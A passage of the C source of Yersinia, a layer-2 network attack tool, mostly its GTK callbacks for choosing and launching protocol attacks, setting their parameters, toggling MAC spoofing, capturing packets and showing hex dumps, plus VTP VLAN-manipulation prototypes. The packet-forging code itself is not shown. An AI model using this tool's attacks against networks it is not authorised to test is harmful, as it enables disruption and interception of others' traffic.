**vtp_get_printable_packet(struct pcap_data *); char **vtp_get_printable_store(struct term_node *); int8_t vtp_load_values(struct pcap_data *, void *); int8_t vtp_update_field(int8_t, struct term_node *, void *); int8_t vtp_generate_md5(char *, u_int32_t, u_int32_t, char *, u_int8_t, u_int8_t *, u_int16_t, u_int8_t *, u_int8_t); int8_t vtp_del_vlan(u_int16_t, u_int8_t *, u_int16_t *); void vtp_modify_vlan(u_int8_t, struct attacks *); int8_t vtp_add_vlan(u_int16_t, char *, u_int8_t **, u_int16_t *); int8_t vtp_init_comms_struct(struct term_node *); int8_t vtp_end(struct term_node *); extern void thread_libnet_error( char *, libnet_t *); extern int8_t thread_create(pthread_t *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern void md5_sum(const u_char *, size_t, u_char *); extern int8_t parser_command2index(register const struct attack *, register int8_t); extern struct terminals *terms; extern int8_t bin_data[]; #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/gtk-callbacks.c0000644000175000017500000010652512234207266014620 0ustar nknk/* gtk_callbacks.c * GTK Callbacks * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: gtk-callbacks.c 48 2007-05-08 09:41:17Z slay $"; #endif #ifdef HAVE_CONFIG_H # include #endif #include #ifdef TIME_WITH_SYS_TIME #include #endif #include #include "gtk-callbacks.h" #define GLADE_HOOKUP_OBJECT(component,widget,name) \ g_object_set_data_full (G_OBJECT (component), name, \ gtk_widget_ref (widget), (GDestroyNotify) gtk_widget_unref) #define GLADE_HOOKUP_OBJECT_NO_REF(component,widget,name) \ g_object_set_data (G_OBJECT (component), name, widget) void gtk_c_on_file_open_activate(GtkMenuItem *menuitem, gpointer user_data) { GtkWidget *dialog; struct gtk_s_helper *helper; helper = (struct gtk_s_helper *)user_data; dialog = gtk_i_create_opendialog(helper); gtk_widget_show(dialog); } void gtk_c_on_file_save_activate(GtkMenuItem *menuitem, gpointer user_data) { GtkWidget *dialog; struct gtk_s_helper *helper; helper = (struct gtk_s_helper *)user_data; dialog = gtk_i_create_savedialog(helper); gtk_widget_show(dialog); } void gtk_c_opendialog_open(GtkWidget *button, gpointer userdata) { GtkWidget *dialog; struct gtk_s_helper *helper; char *filename; u_int8_t i; helper = (struct gtk_s_helper *)userdata; dialog = lookup_widget(GTK_WIDGET(button), "opendialog"); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); if (strlen(filename)) { strncpy(tty_tmp->config_file, filename, FILENAME_MAX); if (parser_read_config_file(tty_tmp, helper->node) < 0) { gtk_i_create_warningdialog("%s", "Error reading config file"); } /* When parsing the configuration file, everything is updated in protocol[i].default_values, so * now we need to copy it to the current node */ for (i = 0; i < MAX_PROTOCOLS; i++) if (protocols[i].visible) memcpy((void *)helper->node->protocol[i].tmp_data, (void *)protocols[i].default_values, protocols[i].size); g_free(filename); } gtk_statusbar_push(GTK_STATUSBAR(helper->statusbar), 0, "Configuration file read"); gtk_widget_destroy(GTK_WIDGET(dialog)); } void gtk_c_savedialog_save(GtkWidget *button, gpointer userdata) { GtkWidget *dialog; struct gtk_s_helper *helper; char *filename; u_int8_t i; helper = (struct gtk_s_helper *)userdata; dialog = lookup_widget(GTK_WIDGET(button), "savedialog"); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); if (strlen(filename)) { strncpy(tty_tmp->config_file, filename, FILENAME_MAX); for (i = 0; i < MAX_PROTOCOLS; i++) if (protocols[i].visible) memcpy((void *)protocols[i].default_values, (void *)helper->node->protocol[i].tmp_data, protocols[i].size); strncpy(tty_tmp->config_file, filename, FILENAME_MAX); if (parser_write_config_file(tty_tmp) < 0) { gtk_i_create_warningdialog("%s", "Error writing config file"); } g_free(filename); } gtk_statusbar_push(GTK_STATUSBAR(helper->statusbar), 0, "Configuration file written"); gtk_widget_destroy(GTK_WIDGET(dialog)); } void gtk_c_on_file_quit_activate(GtkMenuItem *menuitem, gpointer user_data) { struct gtk_s_helper *helper; helper = (struct gtk_s_helper *)user_data; gtk_statusbar_push(GTK_STATUSBAR(helper->statusbar), 0, "Exiting... be patient"); gtk_main_quit(); } void on_protocols_proto1_activate (GtkMenuItem *menuitem, gpointer user_data) { } void gtk_c_on_protocols_toggle(GtkMenuItem *menuitem, gpointer user_data) { GtkWidget *n_label, *notebook, *main_statusbar; u_int8_t *n_mode; n_mode = (u_int8_t *) user_data; notebook = lookup_widget(GTK_WIDGET(menuitem), "main_vhv2_notebook"); n_label = gtk_notebook_get_nth_page(GTK_NOTEBOOK(notebook), *n_mode); main_statusbar = lookup_widget(GTK_WIDGET(notebook), "main_statusbar"); write_log(0, "joe, voy a hacer algo con %d\n", *n_mode); if (gtk_check_menu_item_get_active(GTK_CHECK_MENU_ITEM(menuitem))) { gtk_statusbar_push(GTK_STATUSBAR(main_statusbar), 0, "Closing protocol"); gtk_check_menu_item_set_active (GTK_CHECK_MENU_ITEM(menuitem), FALSE); gtk_widget_hide(n_label); } else { gtk_statusbar_push(GTK_STATUSBAR(main_statusbar), 0, "Opening protocol"); gtk_check_menu_item_set_active (GTK_CHECK_MENU_ITEM(menuitem), TRUE); gtk_widget_show(n_label); } } void gtk_c_on_actions_execute_activate(GtkMenuItem *menuitem, gpointer user_data) { GtkWidget *window, *notebook; struct gtk_s_helper *helper; u_int8_t mode; helper = (struct gtk_s_helper *)user_data; notebook = lookup_widget(GTK_WIDGET(menuitem), "main_vhv2_notebook"); mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(notebook)); window = gtk_i_create_attacksdialog(notebook, helper, mode); gtk_widget_show(window); } void gtk_c_on_actions_interfaces_activate (GtkMenuItem *menuitem, gpointer user_data) { GtkWidget *window; struct gtk_s_helper *helper; helper = (struct gtk_s_helper *)user_data; window = create_interfacesdialog(helper->node); gtk_widget_show(window); } void gtk_c_on_menu_actions_load_default_activate (GtkMenuItem *menuitem, gpointer user_data) { GtkWidget *notebook; struct gtk_s_helper *helper; u_int8_t mode; helper = (struct gtk_s_helper *) user_data; notebook = lookup_widget(GTK_WIDGET(menuitem), "main_vhv2_notebook"); mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(notebook)); if (protocols[mode].init_attribs) (*protocols[mode].init_attribs)(helper->node); else { write_log(0, "Warning: no init_attribs for mode %d\n", mode); } gtk_statusbar_push(GTK_STATUSBAR(helper->statusbar), 0, "Loading protocol default values..."); } void gtk_c_on_menu_actions_list_attacks_activate (GtkMenuItem *menuitem, gpointer user_data) { GtkWidget *window; GtkWidget *notebook; struct gtk_s_helper *helper; u_int8_t mode; helper = (struct gtk_s_helper *)user_data; notebook = lookup_widget(GTK_WIDGET(menuitem), "main_vhv2_notebook"); mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(notebook)); window = gtk_i_create_listattacksdialog(helper->node); gtk_widget_show(window); } void gtk_c_on_actions_clear_activate(GtkMenuItem *menuitem, gpointer user_data) { struct gtk_s_helper *helper; u_int8_t i; char buffer[64]; helper = (struct gtk_s_helper *)user_data; if (strcmp("ALL", gtk_widget_get_name(GTK_WIDGET(menuitem))) == 0) helper->extra = PROTO_ALL; else { i = 0; while(protocols[i].namep) { if(strcmp(protocols[i].namep, gtk_widget_get_name(GTK_WIDGET(menuitem))) == 0) { helper->extra = i; break; } i++; } } interfaces_clear_stats(helper->extra); snprintf(buffer, 64, "Clearing stats for mode %s...", gtk_widget_get_name(GTK_WIDGET(menuitem))); gtk_statusbar_push(GTK_STATUSBAR(helper->statusbar), 0, buffer); } void gtk_c_on_capture_activate(GtkMenuItem *menuitem, gpointer user_data) { GtkWidget *dialog; struct gtk_s_helper *helper; u_int8_t i; helper = (struct gtk_s_helper *)user_data; if (strcmp("ALL", gtk_widget_get_name(GTK_WIDGET(menuitem))) == 0) helper->extra = PROTO_ALL; else { i = 0; while(protocols[i].namep) { if(strcmp(protocols[i].namep, gtk_widget_get_name(GTK_WIDGET(menuitem))) == 0) { helper->extra = i; break; } i++; } } dialog = gtk_i_create_capturedialog(helper); gtk_widget_show(dialog); } void gtk_c_capturedialog_save(GtkWidget *button, gpointer userdata) { GtkWidget *dialog; struct gtk_s_helper *helper; char *filename; u_int8_t iface; pcap_dumper_t *pdumper; dlist_t *p; struct interface_data *iface_data; helper = (struct gtk_s_helper *)userdata; dialog = lookup_widget(GTK_WIDGET(button), "savedialog"); filename = gtk_file_chooser_get_filename (GTK_FILE_CHOOSER (dialog)); if (helper->extra == PROTO_ALL) { pdumper = helper->node->pcap_file.pdumper; iface = interfaces_get_last_int(PROTO_ALL); } else { pdumper = helper->node->protocol[helper->extra].pcap_file.pdumper; iface = interfaces_get_last_int(helper->extra); } if (pdumper) { gtk_i_create_warningdialog("%s", "Error: pcap_file is in use"); return; } /* Take the first active interface for saving data */ p = interfaces->list; while(p) { iface_data = (struct interface_data *) dlist_data(p); if (iface_data->up) { if (filename[0] && interfaces_pcap_file_open(helper->node, helper->extra, filename, iface_data->ifname) < 0) { write_log(0, "Error opening file %s to save pcap data\n", filename); gtk_gui_th_exit(helper->node); } break; } else p = dlist_next(interfaces->list, p); } /* No interface found*/ if (p == NULL) gtk_i_create_warningdialog("%s", "Error: there is no active interface"); g_free(filename); gtk_widget_destroy(GTK_WIDGET(dialog)); } void gtk_c_attacks_synchro(GtkNotebook *attacks_notebook, GtkNotebookPage *page, guint npage, gpointer userdata) { GtkNotebook *notebook; notebook = (GtkNotebook *)userdata; gtk_notebook_set_current_page(GTK_NOTEBOOK(notebook), npage); } void gtk_c_attacks_radio_changed(GtkWidget *radio, gpointer userdata) { u_int8_t i; struct gtk_s_helper *helper; if (gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(radio))) { helper = (struct gtk_s_helper *) userdata; i = 0; while(protocols[helper->mode].attacks[i].s) { if (strcmp(gtk_button_get_label(GTK_BUTTON(radio)), protocols[helper->mode].attacks[i].s) == 0) { helper->row = i; helper->attack = (struct attack *) &protocols[helper->mode].attacks[i]; break; } i++; } } } void gtk_c_attacks_launch(GtkWidget *button, gpointer userdata) { struct gtk_s_helper *helper; GtkWidget *attacksdialog; GtkWidget *attackparamsdialog; helper = (struct gtk_s_helper *)userdata; attacksdialog = lookup_widget(GTK_WIDGET(button), "attacksdialog"); if ((helper->attack) && (helper->attack->nparams)) { if ((helper->attack_param = calloc(1, (sizeof(struct attack_param) * helper->attack->nparams))) == NULL) { thread_error(" ncurses_i_attack_screen attack_param calloc",errno); return; } memcpy(helper->attack_param, (void *)(helper->attack->param), sizeof(struct attack_param) * helper->attack->nparams); if (attack_init_params(helper->node, helper->attack_param, helper->attack->nparams) < 0) { free(helper->attack_param); return; } attackparamsdialog = gtk_i_create_attackparamsdialog(helper, helper->attack_param, helper->attack->nparams); gtk_widget_show(attackparamsdialog); } else { if (attack_launch(helper->node, helper->mode, helper->row, NULL, 0) < 0) write_log(0, "Error launching attack %d", helper->row); } gtk_widget_destroy(attacksdialog); } void gtk_c_attackparams_launch(GtkWidget *button, gpointer userdata) { GtkWidget *widget, *warning; struct gtk_s_helper *helper; char tmp_name[3], *text; u_int8_t i, field; helper = (struct gtk_s_helper *) userdata; for (i=0; i < helper->attack->nparams; i++) { snprintf(tmp_name, 3, "%02d", i); widget = lookup_widget(GTK_WIDGET(button), tmp_name); text = (char *) gtk_entry_get_text(GTK_ENTRY(widget)); strncpy(helper->attack_param[i].print, text, helper->attack->param[i].size_print); } if (attack_filter_all_params(helper->attack_param, helper->attack->nparams, &field) < 0) { warning = gtk_i_create_warningdialog("Bad data on field %s!!", helper->attack->param[field].desc); gtk_widget_show(warning); } else { if (attack_launch(helper->node, helper->mode, helper->row, helper->attack_param, helper->attack->nparams) < 0) write_log(0, "Error launching attack %d", helper->row); } } void gtk_c_listattacks_destroyall(GtkWidget *button, gpointer userdata) { struct term_node *node; GtkWidget *listattacksdialog; node = (struct term_node *) userdata; listattacksdialog = lookup_widget(GTK_WIDGET(button), "listattacksdialog"); attack_kill_th(node, ALL_ATTACK_THREADS); gtk_widget_destroy(GTK_WIDGET(listattacksdialog)); } void gtk_c_update_hexview(GtkTreeSelection *selection, gpointer userdata) { GtkWidget *textview; GtkTextBuffer *buffer; GtkTreeIter iter; GtkTextIter iter2, start, end; GtkTreeModel *model; struct gtk_s_helper *helper; u_int8_t row, mode, *packet; u_int16_t length, oset; int32_t j, line; register u_int i; register int s1, s2; register int nshorts; char hexstuff[HEXDUMP_SHORTS_PER_LINE*HEXDUMP_HEXSTUFF_PER_SHORT+1], *hsp; char asciistuff[ASCII_LINELENGTH+1], *asp; char tmp_str[70]; u_int32_t maxlength = HEXDUMP_SHORTS_PER_LINE; gchar *out; j = 0; line = 0; oset = 0; length = 0; packet = NULL; helper = (struct gtk_s_helper *) userdata; textview = lookup_widget(GTK_WIDGET(helper->notebook), "main_vhv2_texthex"); buffer = gtk_text_view_get_buffer (GTK_TEXT_VIEW (textview)); /* First delete the buffer */ gtk_text_buffer_get_iter_at_offset (GTK_TEXT_BUFFER (buffer), &start, 0); gtk_text_buffer_get_iter_at_offset (GTK_TEXT_BUFFER (buffer), &end, gtk_text_buffer_get_char_count (GTK_TEXT_BUFFER (buffer))); gtk_text_buffer_delete (GTK_TEXT_BUFFER (buffer), &start, &end); /* We need to get the pointer to the packet selected in the other window */ if (gtk_tree_selection_get_selected (selection, &model, &iter)) { gtk_tree_model_get(model, &iter, 0, &row, -1); } else {/* TODO: do a proper select */ row = 0; } gtk_text_buffer_get_iter_at_offset (GTK_TEXT_BUFFER (buffer), &iter2, 0); mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(helper->notebook)); packet = protocols[mode].stats[row].packet; length = (protocols[mode].stats[row].header->len < SNAPLEN) ? protocols[mode].stats[row].header->len : SNAPLEN; nshorts = length / sizeof(u_int16_t); i = 0; hsp = hexstuff; asp = asciistuff; while (--nshorts >= 0) { s1 = *packet++; s2 = *packet++; (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff), " %02x%02x", s1, s2); hsp += HEXDUMP_HEXSTUFF_PER_SHORT; *(asp++) = (isgraph(s1) ? s1 : '.'); *(asp++) = (isgraph(s2) ? s2 : '.'); i++; if (i >= maxlength) { *hsp = *asp = '\0'; snprintf(tmp_str, 70, "0x%04x: %-*s %s\n", oset, HEXDUMP_HEXSTUFF_PER_LINE, hexstuff, asciistuff); /* We need to convert to valid UTF-8; if not, it is not displayed :( */ out = g_convert(tmp_str, -1,"UTF-8","ISO8859-1",NULL,NULL,NULL); if (out == NULL) { return; /* handle error */ } gtk_text_buffer_insert(buffer, &iter2, out, -1); g_free(out); i = 0; hsp = hexstuff; asp = asciistuff; oset += HEXDUMP_BYTES_PER_LINE; j++; } } if (length & 1) { s1 = *packet++; (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff), " %02x", s1); hsp += 3; *(asp++) = (isgraph(s1) ? s1 : '.'); ++i; } if (i > 0) { *hsp = *asp = '\0'; snprintf(tmp_str, 70, "0x%04x: %-*s %s\n", oset, HEXDUMP_HEXSTUFF_PER_LINE, hexstuff, asciistuff); /* We need to convert to valid UTF-8; if not, it is not displayed :( */ out = g_convert(tmp_str, -1,"UTF-8","ISO8859-1",NULL,NULL,NULL); if (out == NULL) { return; /* handle error */ } gtk_text_buffer_insert(buffer, &iter2, out, -1); g_free(out); } } void on_menu_actions_clear_activate (GtkMenuItem *menuitem, GtkWidget *notebook) { GtkWidget *main_statusbar; u_int8_t mode; mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(notebook)); main_statusbar = lookup_widget(GTK_WIDGET(notebook), "main_statusbar"); interfaces_clear_stats(mode); gtk_statusbar_push(GTK_STATUSBAR(main_statusbar), 0, "Clearing Mode stats..."); } void gtk_c_on_menu_options_edit_toggle (GtkWidget *menu, gpointer userdata) { GtkWidget *notebook, *toolbar_edit, *widget, *warning; struct gtk_s_helper *helper; u_int8_t i, j, mode; struct commands_param *param; char tmp_name[5], *text; helper = (struct gtk_s_helper *)userdata; notebook = lookup_widget(GTK_WIDGET(menu), "main_vhv2_notebook"); toolbar_edit = lookup_widget(GTK_WIDGET(menu), "toolbar_edit"); mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(notebook)); if (helper->edit_mode) { for(i = 0; i < MAX_PROTOCOLS; i++) { if (protocols[i].visible) { param = (struct commands_param *)protocols[i].parameters; for (j = 0; j < protocols[i].nparams; j++) { if ((param[j].type != FIELD_DEFAULT) && (param[j].type != FIELD_IFACE) && (param[j].type != FIELD_EXTRA)) { snprintf(tmp_name, 5, "%02d%02d", i, j); widget = lookup_widget(GTK_WIDGET(notebook), tmp_name); text = (char *) gtk_entry_get_text(GTK_ENTRY(widget)); if (parser_filter_param(param[j].type, helper->node->protocol[i].commands_param[j], text, param[j].size_print, param[j].size) < 0) { warning = gtk_i_create_warningdialog("Bad Parameter %s with wrong value %s in protocol %s!", param[j].ldesc, text, protocols[i].namep); gtk_widget_show(warning); //break; } gtk_entry_set_editable(GTK_ENTRY(widget), FALSE); } } } } helper->edit_mode = 0; gtk_statusbar_push(GTK_STATUSBAR(helper->statusbar), 0, "Edit mode disabled"); } else { helper->edit_mode = 1; for (i = 0; i < MAX_PROTOCOLS; i++) { if (protocols[i].visible) { param = (struct commands_param *)protocols[i].parameters; for (j = 0; j < protocols[i].nparams; j++) { if ((param[j].type != FIELD_DEFAULT) && (param[j].type != FIELD_IFACE) && (param[j].type != FIELD_EXTRA)) { snprintf(tmp_name, 5, "%02d%02d", i, j); widget = lookup_widget(GTK_WIDGET(notebook), tmp_name); gtk_entry_set_editable(GTK_ENTRY(widget), TRUE); } } } } gtk_statusbar_push(GTK_STATUSBAR(helper->statusbar), 0, "Edit mode enabled"); } } void on_menu_options_macspoofing_toggle (GtkCheckMenuItem *menu, struct term_node *node) { GtkWidget *notebook, *main_statusbar; u_int8_t mode; notebook = lookup_widget(GTK_WIDGET(menu), "main_vhv2_notebook"); mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(notebook)); main_statusbar = lookup_widget(GTK_WIDGET(notebook), "main_statusbar"); if (node->mac_spoofing) { node->mac_spoofing = 0; gtk_statusbar_push(GTK_STATUSBAR(main_statusbar), 0, "MAC Spoofing set to OFF"); gtk_check_menu_item_set_active (GTK_CHECK_MENU_ITEM(menu), FALSE); } else { node->mac_spoofing = 1; gtk_statusbar_push(GTK_STATUSBAR(main_statusbar), 0, "MAC Spoofing set to ON"); gtk_check_menu_item_set_active (GTK_CHECK_MENU_ITEM(menu), TRUE); } } void on_help_about_activate(GtkMenuItem *menuitem, gpointer user_data) { GtkWidget *aboutdialog; aboutdialog = gtk_i_create_aboutdialog(); gtk_widget_show(aboutdialog); } void gtk_c_clock_update(GtkWidget *clock) { struct tm *aux; time_t this_time; char clock_str[10]; this_time = time(NULL); aux = localtime(&this_time); if (aux != NULL) snprintf(clock_str, 10, "%02d:%02d:%02d", aux->tm_hour, aux->tm_min, aux->tm_sec); gtk_label_set_text((GtkLabel *)clock, clock_str); } void gtk_c_tree_update(GtkWidget *tree_model) { u_int8_t i, j; GtkTreeIter iter; GtkTreePath *path; char tmp[3]; j = 0; for (i=0; i < MAX_PROTOCOLS; i++) { if (protocols[i].visible) { snprintf(tmp, 3, "%d", j); /* Modify a particular row */ path = gtk_tree_path_new_from_string (tmp); gtk_tree_model_get_iter (GTK_TREE_MODEL (tree_model), &iter, path); gtk_tree_path_free (path); gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, 1, protocols[i].packets, -1); j++; } } snprintf(tmp, 3, "%d", j); path = gtk_tree_path_new_from_string(tmp); gtk_tree_model_get_iter (GTK_TREE_MODEL (tree_model), &iter, path); gtk_tree_path_free (path); gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, 1, packet_stats.global_counter.total_packets, -1); } void gtk_c_refresh_mwindow_notebook(GtkNotebook *notebook, GtkNotebookPage *page, guint npage, gpointer userdata) { struct gtk_s_helper *helper; helper = (struct gtk_s_helper *)userdata; helper->mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(notebook)); /* Avoid Yersinia window log */ if (helper->mode != MAX_PROTOCOLS) { gtk_c_tree_selection_changed_cb (helper->select, helper); gtk_c_update_hexview(helper->select, helper); } gtk_c_refresh_mwindow(helper); } gboolean gtk_c_refresh_mwindow(gpointer userdata) { u_int8_t i, j, k, val, tlv, mode; char *ptrtlv; char timebuf[19], meaningbuf[64], **values; struct commands_param *params; struct commands_param_extra *extra_params; struct tuple_type_desc *func; GtkTreeIter iter; GtkListStore *tree_model; GtkWidget *entry[20]; GtkNotebook *notebook; struct gtk_s_helper *helper; char tmp_name[5], msg[1024]; gboolean valid; helper = (struct gtk_s_helper *)userdata; notebook = GTK_NOTEBOOK(helper->notebook); tlv = 0; values = NULL; func = NULL; mode = 0; mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(notebook)); /* Check if it is Yersinia log */ if (mode == MAX_PROTOCOLS) { return TRUE; } params = protocols[mode].parameters; extra_params = protocols[mode].extra_parameters; if ((tree_model = GTK_LIST_STORE(gtk_tree_view_get_model(GTK_TREE_VIEW(protocols_tree[mode])))) == NULL) write_log(0, "Error in gtk_tree_view_get_model\n"); valid = gtk_tree_model_get_iter_first (GTK_TREE_MODEL(tree_model), &iter); for (i = 0; i < MAX_PACKET_STATS; i++) { if (protocols[mode].stats[i].header->ts.tv_sec > 0) { /* If there isn't a row, append it */ if (!valid) { gtk_list_store_append (GTK_LIST_STORE (tree_model), &iter); } if (protocols[mode].get_printable_packet) { if ((values = (*protocols[mode].get_printable_packet)(&protocols[mode].stats[i])) == NULL) { write_log(0, "Error in get_printable_packet (mode %d)\n", mode); return FALSE; } } else { write_log(0, "Warning: there is no get_printable_packet for protocol %d\n", mode); return FALSE; } j = 0; k = 0; val = 0; gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, i, -1); val++; /* Normal parameters (-2 for the interface and defaults) */ while (j < protocols[mode].nparams) { if (params[j].mwindow) { if (params[j].meaning) { snprintf(meaningbuf, 64, "%s %s", values[k], parser_get_meaning(values[k], params[j].meaning)); gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, meaningbuf, -1); } else gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, values[k], -1); val++; } if ((params[j].type != FIELD_IFACE) && (params[j].type != FIELD_DEFAULT) && (params[j].type != FIELD_EXTRA)) k++; j++; } if ((protocols[mode].extra_nparams > 0)) { tlv = k; j = 0; while(j < protocols[mode].extra_nparams) { if (extra_params[j].mwindow) { ptrtlv = values[tlv]; while ((ptrtlv) && (strncmp((char *)ptrtlv, extra_params[j].ldesc, strlen(extra_params[j].ldesc)) != 0)) { ptrtlv += strlen((char *)ptrtlv) + 1; } if (ptrtlv) { ptrtlv += strlen((char *)ptrtlv) + 1; if (extra_params[j].meaning) { snprintf(meaningbuf, 64, "%s %s", ptrtlv, parser_get_meaning(ptrtlv, extra_params[j].meaning)); gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, meaningbuf, -1); } else gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, ptrtlv, -1); val++; } else { gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, "???", -1); val++; } } j++; } } gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, protocols[mode].stats[i].iface, -1); val++; gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, protocols[mode].stats[i].total, -1); val++; strftime(timebuf, 19, "%d %b %H:%M:%S", localtime((time_t *)&protocols[mode].stats[i].header->ts)); gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, timebuf, -1); k = 0; /* Reset values */ //memset((void *)values, 0, sizeof(values)); if (values) { while(values[k]) { free(values[k]); k++; } free(values); } valid = gtk_tree_model_iter_next (GTK_TREE_MODEL(tree_model), &iter); } /* if (protocols->tv_sec) */ } /* for i < MAX_PACKET_STATS */ /* Ok, now refresh the bwindow */ if (!helper->edit_mode) { for (i = 0; i < protocols[mode].nparams; i++) { if ((params[i].type != FIELD_DEFAULT) && (params[i].type != FIELD_IFACE) && (params[i].type != FIELD_EXTRA)) { snprintf(tmp_name, 5, "%02d%02d", mode, i); entry[i] = lookup_widget(GTK_WIDGET(notebook), tmp_name); parser_binary2printable(mode, i, helper->node->protocol[mode].commands_param[i], msg); gtk_entry_set_text(GTK_ENTRY(entry[i]), msg); } } } return TRUE; } void gtk_c_tree_selection_changed_cb (GtkTreeSelection *selection, gpointer userdata) { GtkTreeIter iter; GtkTreeModel *model; GtkWidget *tree; GtkListStore *tree_model; u_int8_t row; u_int8_t i, j, line, k, mode; char **values, *ptrtlv; struct commands_param *params; struct tuple_type_desc *func; struct gtk_s_helper *helper; helper = (struct gtk_s_helper *) userdata; values = NULL; func = NULL; row = 0; if (gtk_tree_selection_get_selected (selection, &model, &iter)) { gtk_tree_model_get(model, &iter, 0, &row, -1); } else { /* TODO: get a proper selection */ row = 0; } i = 0; line = 0; mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(helper->notebook)); params = (struct commands_param *)protocols[mode].parameters; if (protocols[mode].stats[row].header->ts.tv_sec <= 0) { write_log(0, "Ohhh no hay paquetes del modo %d, fila %d :(\n", mode, row); return; } tree = lookup_widget(GTK_WIDGET(helper->notebook), "main_vhvvs_tree"); if ((tree_model = (GtkListStore *)gtk_tree_view_get_model(GTK_TREE_VIEW(tree))) == NULL) write_log(0, "Error in gtk_tree_view_get_model\n"); gtk_list_store_clear(tree_model); if (protocols[mode].get_printable_packet) { if ((values = (*protocols[mode].get_printable_packet)(&protocols[mode].stats[row])) == NULL) { write_log(0, "Error in get_printable_packet (mode %d)\n", mode); } } else { write_log(0, "Warning: there is no get_printable_packet for protocol %d\n", mode); } j = 0; k = 0; /* Normal parameters (-2 for the interface and defaults) */ while (j < protocols[mode].nparams) { if ((params[j].type != FIELD_IFACE) && (params[j].type != FIELD_DEFAULT) && (params[j].type != FIELD_EXTRA)) { gtk_list_store_append(GTK_LIST_STORE(tree_model), &iter); gtk_list_store_set(GTK_LIST_STORE(tree_model), &iter, 0, params[j].ldesc, -1); gtk_list_store_set(GTK_LIST_STORE(tree_model), &iter, 1, values[k], -1); if (params[j].meaning) gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, 2, parser_get_meaning(values[k], params[j].meaning)); k++; } j++; } ptrtlv = values[k]; if (protocols[mode].extra_nparams > 0) { while ((ptrtlv) && (strlen((char *)ptrtlv) > 0)) { gtk_list_store_append(GTK_LIST_STORE(tree_model), &iter); gtk_list_store_set(GTK_LIST_STORE(tree_model), &iter, 0, ptrtlv, -1); ptrtlv += strlen((char *)ptrtlv) + 1; /* if (extra_params[j].meaning) { snprintf(meaningbuf, 64, "%s %s", ptrtlv, parser_get_meaning(ptrtlv, extra_params[j].meaning)); gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, meaningbuf, -1); } else gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, val, ptrtlv, -1); val++;*/ if (ptrtlv) { gtk_list_store_set(GTK_LIST_STORE(tree_model), &iter, 1, ptrtlv, -1); ptrtlv += strlen((char *)ptrtlv) + 1; } } } gtk_list_store_append (GTK_LIST_STORE (tree_model), &iter); gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, 0, "Interface", -1); gtk_list_store_set (GTK_LIST_STORE(tree_model), &iter, 1, protocols[mode].stats[row].iface, -1); k = 0; if (values) { while(values[k]) { free((void *)values[k]); k++; } free(values); } } void gtk_c_toggle_interface(GtkWidget *toggle, struct term_node *node) { gboolean state; const gchar *label; dlist_t *found; struct interface_data *iface_data, *iface_new; label = gtk_button_get_label(GTK_BUTTON(toggle)); state = gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(toggle)); if (!state) { found = dlist_search(node->used_ints->list, node->used_ints->cmp, (void *)label); iface_data = (struct interface_data *) dlist_data(found); interfaces_disable(iface_data->ifname); node->used_ints->list = dlist_remove(node->used_ints->list, (void *)iface_data); } else { /* First we need to get the interface index */ found = dlist_search(interfaces->list, interfaces->cmp, (void *)label); if (!found) /* Not found */ return; iface_data = (struct interface_data *) dlist_data(found); interfaces_enable(iface_data->ifname); iface_new = (struct interface_data *) calloc(1, sizeof(struct interface_data)); memcpy((void *)iface_new, (void *)iface_data, sizeof(struct interface_data)); node->used_ints->list = dlist_append(node->used_ints->list, (void *)iface_new); } } /* gboolean gtk_c_view_onPopupMenu(GtkWidget *treeview, gpointer userdata) { view_popup_menu(treeview, NULL, userdata); return TRUE; }*/ void gtk_c_view_popup_menu(GtkWidget *menuitem, gpointer userdata) { struct gtk_s_helper *helper; u_int8_t mode, row; struct term_node *node; helper = (struct gtk_s_helper *)userdata; node = (struct term_node *) helper->node; mode = helper->mode; row = helper->row; //write_log(0, "Cargando de mode es %d y row es 